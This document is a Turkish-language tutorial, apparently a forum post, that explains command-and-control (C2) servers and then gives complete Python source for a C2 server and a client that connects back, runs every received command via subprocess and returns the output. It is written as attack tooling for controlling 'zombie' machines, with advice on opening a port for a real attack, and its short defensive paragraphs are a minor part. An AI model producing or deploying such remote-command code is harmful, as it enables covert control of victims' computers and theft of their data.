Merhaba ben CommandBEY, bugün sizlere C2 sunucusunun ne olduğunu ve nasıl kodlanacağını anlatacağım.
C2 Sunucusu Nedir?
C2 sunucusu tam adıyla "Command and Contron", saldırganların ele geçirdiği cihazları uzaktan yönetmek için kullandıkları merkezî bir sistemdir. Zararlı yazılım (trojen/rat) bulaşmış bilgisayar veya cihazlar bu sunucuya bağlanır ve oradan gelen komutları uygular. Bu sayede saldırgan tek tek cihazlarla uğraşmak yerine hepsini aynı yerden kontrol edebilir.
Botnetler, ransomware, trojan gibi zararlı yazılımlarda C2 mekanizması yaygın olarak bulunur. Savunma tarafında ise C2 bağlantılarını tespit edip engellemek bulaşmış sistemlerin kurtarılmasında kritik öneme sahiptir.
C2 sunucuları saldırıların sürekliliğini sağlayan temel yapılardan biridir. Bir kez zararlı yazılım bulaştırıldıktan sonra saldırganın sisteme doğrudan erişmesine gerek kalmaz, çünkü C2 sunucusu üzerinden sürekli kontrol sağlanır. Bu durum saldırgan için büyük kolaylık yaratırken savunma tarafı için ciddi bir risk anlamına gelir.
Antivirüs yazılımları ve güvenlik çözümleri genellikle C2 bağlantılarını yakalamaya çalışır. Fakat saldırganlar bağlantıyı gizlemek için şifreleme, meşru servisleri kullanma veya trafiği normal internet etkinliği gibi gösterme yöntemlerine başvurur. Bu nedenle her C2 iletişimi antivirüsler tarafından fark edilemeyebilir.
Savunma açısından en önemli noktalardan biri ağ trafiğini sürekli izlemek ve olağan dışı iletişimleri tespit etmektir. Davranışsal analiz, tehdit istihbaratı ve log incelemeleriyle C2 faaliyetleri daha erken fark edilebilir. Bir cihazın C2 ile iletişim kurduğu anlaşıldığında, bu cihazın ele geçirildiği kesinleşmiş sayılır ve acil müdahale gerekir.
Nasıl Yazılır?
Yazacağımız kodda bütün zombi bilgisayarlar aynı IP ve Port'a bağlanarak bize yani sunucuya bağlanacaklar. Bu sayede bütün cihazları merkezde yönetebiliriz.
İlk olarak server.py adlı bir dosya açıyoruz, bu dosya bizim sunucu olmamızı sağlayacaktır. Sunucu için sadece "socket" ve "subprocess" kütüphaneleri kullanılacak.
Python:
import socket
host = "127.0.0.1" #Bizim IP'miz.
port = 9999 #Bizim portumuz, Yani sunucu portu.
Burada kütüphanelerimizi içeri aktarıyoruz, ayrıca IP'mizi ve portumuzu verdik. Gerçek bir saldırı yapacaksak eğer, kendi modemimizden port açmak zorundayız.
Python:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port)) #Burada sunucumuzu aktif ediyoruz.
s.listen() #Burada da sunucumuzu gelebilecek isteklere karşı dinlemeye bırakıyoruz.
print("C2 Sunucusu Dinlemede...")
Burada Sunucumuzu aktif ve dinlemeye aldık, bu sayede cihazlar sunucumuza bağlanacak.
Python:
conn, adr = s.accept() #Burada gelen cihazları kabul ediyoruz.
with conn:
print(f"Bağlantı Kuruldu: {adr}")
while True:
command = input("Komut yaz: ")
if command.lower == "exit":
break
conn.send(command.encode())
data = conn.recv(1024)
print("Cihazdan gelen:", data.decode()) #Cihazlardan gelen şeyleri kendimize alıyoruz.
Burada ise gelen cihazları kabul edip komut gönderebiliriz.
server.py Tüm Kod:
Python:
import socket
host = "127.0.0.1" #Bizim IP'miz.
port = 9999 #Bizim portumuz, Yani sunucu portu.
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((host, port))
s.listen()
print("C2 Sunucusu Dinlemede...")
conn, adr = s.accept()
with conn:
print(f"Bağlantı Kuruldu: {adr}")
while True:
command = input("Komut yaz: ")
if command.lower == "exit":
break
conn.send(command.encode())
data = conn.recv(1024)
print("Cihazdan gelen:", data.decode())
Şimdi ise client.py yani cihazın çalıştıracağı şeyi yazalım.
Burada aynı kütüphaneyi kullanacağız fakat yeni bir kütüphane kullanmamız gerekiyor: subprocess
Python:
import socket
from subprocess import getoutput
HOST = '127.0.0.1' #C2 sunucusunun IP'si
PORT = 9999 #C2 sunucusunun port'u
Bütün kütüphaneyi içeri aktarmadık, sadece komut çalıştırma fonksiyonunu içeri aktardık.
Python:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while True:
data = s.recv(1024)
command = data.decode()
print("Komut alındı:", command)
# Komutu çalıştırıp çıktısını al.
output = getoutput(command)
if output.strip() == "":
output = "(Komut çalıştı ama çıktı üretmedi)"
s.send(output.encode())
client.py Tam Kod:
Python:
import socket
from subprocess import getoutput
HOST = '127.0.0.1' #C2 sunucusunun IP'si
PORT = 9999 #C2 sunucusunun port'u
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
while True:
data = s.recv(1024)
command = data.decode()
print("Komut alındı:", command)
# Komutu çalıştırıp çıktısını al.
output = getoutput(command)
if output.strip() == "":
output = "(Komut çalıştı ama çıktı üretmedi)"
s.send(output.encode())
Burada ise cihaz bize TCP olarak bağlanıyor ve bizden komut bekliyor. eğer komut gelirse komut'u çalıştırıp çıktısını sunucuya yani bize gönderiyor. Kodumuzu yazdıysak deneme zamanı gelmiştir. Hadi deneyelim.
Kullanımı
Sunucuyu başlatıyoruz ve cihazların bağlanmasını bekliyoruz.
Cihazın bize bağlanması için python kodumuzu çalıştırıyoruz.
Evet, cihazımız bağlandı ve gireceğimiz komutu bekliyor.
Komut olarak "dir" komutunu kullanıyoruz ve cihazdan bize yanıt geliyor.
Okuduğunuz için teşekkür ederim.
Sunucuyu başlatıyoruz ve cihazların bağlanmasını bekliyoruz.
Cihazın bize bağlanması için python kodumuzu çalıştırıyoruz.
Evet, cihazımız bağlandı ve gireceğimiz komutu bekliyor.
Komut olarak "dir" komutunu kullanıyoruz ve cihazdan bize yanıt geliyor.
Okuduğunuz için teşekkür ederim.



